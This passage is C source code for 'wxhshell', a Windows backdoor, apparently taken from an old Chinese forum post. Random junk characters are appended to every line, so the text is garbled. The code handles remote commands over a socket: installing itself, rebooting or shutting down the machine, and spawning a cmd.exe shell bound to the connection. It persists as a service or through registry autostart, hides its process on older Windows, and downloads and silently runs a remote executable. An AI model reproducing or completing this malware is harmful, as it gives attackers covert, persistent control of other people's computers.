[;7zg@Sa  
    switch(cmd[0]) { Nu?A>Q  
  %*!6R:gAp  
  // 帮助 n"aF#HR?0d  
  case '?': { gm,AH85  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i ]8bj5j{  
    break; Vt3*~Beb  
  } ?wlRHVZ  
  // 安装 ]UEA"^  
  case 'i': { %qo.n v  
    if(Install()) J^CAQfcx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eR>8V8@  
    else b/qK/O8J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vdvnwzp!l  
    break; Kr'?h'F  
    } %Vltc4QU  
  // 卸载 Yq51+\d  
  case 'r': { IO9|o!&>  
    if(Uninstall()) CmbgEGIh[a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%U#PF6   
    else 8<T~AU8'*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sRZ<c  
    break; F(."nUrf  
    } _0gdt4  
  // 显示 wxhshell 所在路径 ,g}$u'A+d  
  case 'p': { "= %"@"<)  
    char svExeFile[MAX_PATH]; jUNt4  
    strcpy(svExeFile,"\n\r"); e(a,nZF.  
      strcat(svExeFile,ExeFile); hKN ;tq,  
        send(wsh,svExeFile,strlen(svExeFile),0); C P&u  
    break; lEwQj[ k  
    } 6'N_bNW  
  // 重启 &v*4AZ['  
  case 'b': { w9<'0wcs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); et~D9='E  
    if(Boot(REBOOT)) K-\wx5#l/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?KdR5  
    else { )\:IRr"  
    closesocket(wsh); r ~UDK]?V  
    ExitThread(0);  )sdHJ  
    } >KP,67  
    break; kZF<~U  
    } CUG"2K9  
  // 关机 /bo=,%wJ[  
  case 'd': { b\H&E{Gn|x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F.aG7  
    if(Boot(SHUTDOWN)) h9im S\gfr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 FZR }e\  
    else { a}f /<-L  
    closesocket(wsh); 7?uDh'utt  
    ExitThread(0); ]g;+7  
    } b(R.&X  
    break; ko[d axUB  
    } |;~2y>E  
  // 获取shell LXxQI(RO  
  case 's': { p&Qm[!  
    CmdShell(wsh); `5h^!="  
    closesocket(wsh); HH7WMYoKY  
    ExitThread(0); WxO+cB+?  
    break; X>uLGr>  
  } |O>e=HC#q8  
  // 退出 d7r!<u&/  
  case 'x': { +FadOx7X$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _<mY|  
    CloseIt(wsh); ?t6wozib2  
    break; {*hvzS{1d  
    } e~(e&4pb  
  // 离开 !idVF!xG  
  case 'q': { :7.k E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !lFNG:&`  
    closesocket(wsh); 8'zl\:@N  
    WSACleanup(); O/Hj-u6&A  
    exit(1); Ad-5Zn c5  
    break; ulW>8bW&  
        } H c>yZ:c;  
  } @|t]9  
  } w0j'>4  
b+ycEs=_  
  // 提示信息 L"dN $ A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j} /).O  
} Qb)c>r  
  } ~/JS_>e#6P  
/*BU5  
  return; GT] >  
} oxeu%wj_  
AhA&=l i;  
// shell模块句柄 +HUy,@^ Pa  
int CmdShell(SOCKET sock) 6la'\l#  
{ V3cKdlu Na  
STARTUPINFO si; DBaZcO(U  
ZeroMemory(&si,sizeof(si)); y>E:]#F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @73kry v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `kvIw,c.  
PROCESS_INFORMATION ProcessInfo; {Y2 J:x  
char cmdline[]="cmd"; J%r:"Jm[y1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sm{0o$\Z  
  return 0; =8*ru\L:hr  
} O>nMeU  
d(^HO~p  
// 自身启动模式 fDW:|%{Y,  
int StartFromService(void) >\:GFD{z  
{ Ths~8{dMb  
typedef struct :5j+^/   
{ JM/\n 4ea:  
  DWORD ExitStatus; `'XN2-M8  
  DWORD PebBaseAddress; )hQ]>o@i{  
  DWORD AffinityMask; OS<GAA0  
  DWORD BasePriority; P/WGB~NH  
  ULONG UniqueProcessId; t&w.Wc X)  
  ULONG InheritedFromUniqueProcessId; ?<N} Xh  
}   PROCESS_BASIC_INFORMATION; |X XO0  
^`SEmYb;  
PROCNTQSIP NtQueryInformationProcess; _fY9u2Y  
y*sVimx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mP6}$ D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CC3 i@  
{t! &x:  
  HANDLE             hProcess; k%Tp9x$  
  PROCESS_BASIC_INFORMATION pbi; i!UT =  
>iK LC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C<9GdN  
  if(NULL == hInst ) return 0; K$}K2w  
*3={s"a.(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); acUyz2x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W vu 1?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _s0)Dl6K  
Ue Z(@6_:  
  if (!NtQueryInformationProcess) return 0; VCnf`wZB"  
) ] Ro  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dmy=_j?ej  
  if(!hProcess) return 0; toD!RE  
ju;OQC~[L]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N+ ]O#Js?  
Ce}m$k  
  CloseHandle(hProcess); Uea2WJpX  
baTd;`Pn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1~E4]Ef:W  
if(hProcess==NULL) return 0; UfO='&U^  
V,c^Vq y  
HMODULE hMod; v)|a}5={  
char procName[255]; bYem0hzOe  
unsigned long cbNeeded; {0fQE@5@  
d^tY?*n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vNdX  
=Xid"$  
  CloseHandle(hProcess); jg%mWiKwK7  
Oi~Dio_?  
if(strstr(procName,"services")) return 1; // 以服务启动 M e:l)8+  
:iE`=( o  
  return 0; // 注册表启动 wKfq'W{  
} @Q nKaZ8jW  
}LX!dDuwA  
// 主模块 99'c\[fd'  
int StartWxhshell(LPSTR lpCmdLine) [K4 k7$  
{ .) %, R  
  SOCKET wsl; ~^'t70 :D  
BOOL val=TRUE; g%^/^<ei  
  int port=0; NgsEEPu?  
  struct sockaddr_in door; ,SdxIhL  
*'M+oi  
  if(wscfg.ws_autoins) Install(); v&9:Wd*Iz'  
W:wSM *  
port=atoi(lpCmdLine); {`)o xzR  
L:@COy  
if(port<=0) port=wscfg.ws_port; f0%'4t  
YaQ5Z-c  
  WSADATA data; d0%Wz5Np  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4~oRcO8!Y  
vF@|cTRR)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9|@5eN:N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /&@q*L  
  door.sin_family = AF_INET; y9@j-m&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5=9Eb  
  door.sin_port = htons(port); 5__B M5|  
?/@XJcm+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7rGp^  
closesocket(wsl); =\i%,YY  
return 1; #1}%=nAsi  
} )`W|J%w+  
MX!N?k#KhP  
  if(listen(wsl,2) == INVALID_SOCKET) { ;<0~^,Xm  
closesocket(wsl); "9*MSsU  
return 1; `W1TqA  
} c;yp}k]\  
  Wxhshell(wsl); $ 6r> Tc](  
  WSACleanup(); (&V*~OR  
t v`c" Pb  
return 0; z([HGq5  
,*x/L?.Z!  
} L KZ<\% X  
QGErQ +l  
// 以NT服务方式启动 |vG?H#y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ehe#"exCB  
{ n1R{[\ >1  
DWORD   status = 0; S&cN+r  
  DWORD   specificError = 0xfffffff; 5yV>-XT+-  
mQU t 'j4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .]<iRf[\[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c5Kc iTD^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ Grk{]nT  
  serviceStatus.dwWin32ExitCode     = 0; 4QiV@#o:  
  serviceStatus.dwServiceSpecificExitCode = 0; x @9rc,by  
  serviceStatus.dwCheckPoint       = 0; fL'Ci;.;+  
  serviceStatus.dwWaitHint       = 0; "18cD5-#  
RR/?"d?&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F 6+4Yy+  
  if (hServiceStatusHandle==0) return; v`7~#Avhz  
~ `{{Z&  
status = GetLastError(); {=3'H?$  
  if (status!=NO_ERROR) !{g>g%2!  
{ H2+Ijn19E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?AI`,*^  
    serviceStatus.dwCheckPoint       = 0; brqmi<*9"[  
    serviceStatus.dwWaitHint       = 0; pd.pY*B<[  
    serviceStatus.dwWin32ExitCode     = status; tgeXX1Eq!  
    serviceStatus.dwServiceSpecificExitCode = specificError; t""Y -M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nh4&3"g|  
    return; t|UM2h  
  } (J(SwL|  
YXU2UIY<~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]yFO~4Nu  
  serviceStatus.dwCheckPoint       = 0; x;STt3M~  
  serviceStatus.dwWaitHint       = 0; !0KN A1w,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =C)2DWJ1  
} e>uq/|.!  
Wh%@  
// 处理NT服务事件,比如:启动、停止 6mIRa(6V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f{(D+7e}  
{ >4=7t&h  
switch(fdwControl) wo86C[  
{ W<~u0AyO 3  
case SERVICE_CONTROL_STOP: y;.5AvfD  
  serviceStatus.dwWin32ExitCode = 0; $ 93j;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b'`C<Rk  
  serviceStatus.dwCheckPoint   = 0; 8ux  
  serviceStatus.dwWaitHint     = 0; o7v9xm+  
  { ;_=dB[M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zItGoJu  
  } %wJ?+D/  
  return; nIUts?mB  
case SERVICE_CONTROL_PAUSE: ,v9*|>4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TD!c+ ${w  
  break; G/1V4-@  
case SERVICE_CONTROL_CONTINUE: yOk]RB<'r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]<_v;Q<t  
  break; s|:j~>53  
case SERVICE_CONTROL_INTERROGATE: {Sc*AE&Y  
  break; .SWn/Kk  
}; OZ<fQf.Gh}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B/JMH 1r  
} MBol_#H  
Fj&8wZ)v)  
// 标准应用程序主函数 [bBPs&7u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O%} hNTS"  
{ ORIXcj]  
}ol<DV  
// 获取操作系统版本 ECuNkmUI  
OsIsNt=GetOsVer(); *E/CNMn=E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EPEn"{;U  
 I$fm"N  
  // 从命令行安装 =u5( zaBe  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5J6~]J  
a{kLAx[>  
  // 下载执行文件 Z?."cuTt  
if(wscfg.ws_downexe) { +OO my  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U)('}u=b  
  WinExec(wscfg.ws_filenam,SW_HIDE); vC^n_  
} (~#-J7  
Tx$bg(  
if(!OsIsNt) { ,@8*c0Y~<!  
// 如果时win9x,隐藏进程并且设置为注册表启动 aq^OzKP?  
HideProc(); m9$lOk4/  
StartWxhshell(lpCmdLine); % )}rQqQ  
} (/_w23rr  
else [](] "r  
  if(StartFromService()) C'joJEo  
  // 以服务方式启动 O F?o  
  StartServiceCtrlDispatcher(DispatchTable); 9_%??@^>  
else ?r.U5}PBI  
  // 普通方式启动 <x:^w'V_b  
  StartWxhshell(lpCmdLine); H+N6VVnO  
)=#zMdK&  
return 0; Gnie|[3  
}
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只看该作者 1 发表于: 2006-10-10
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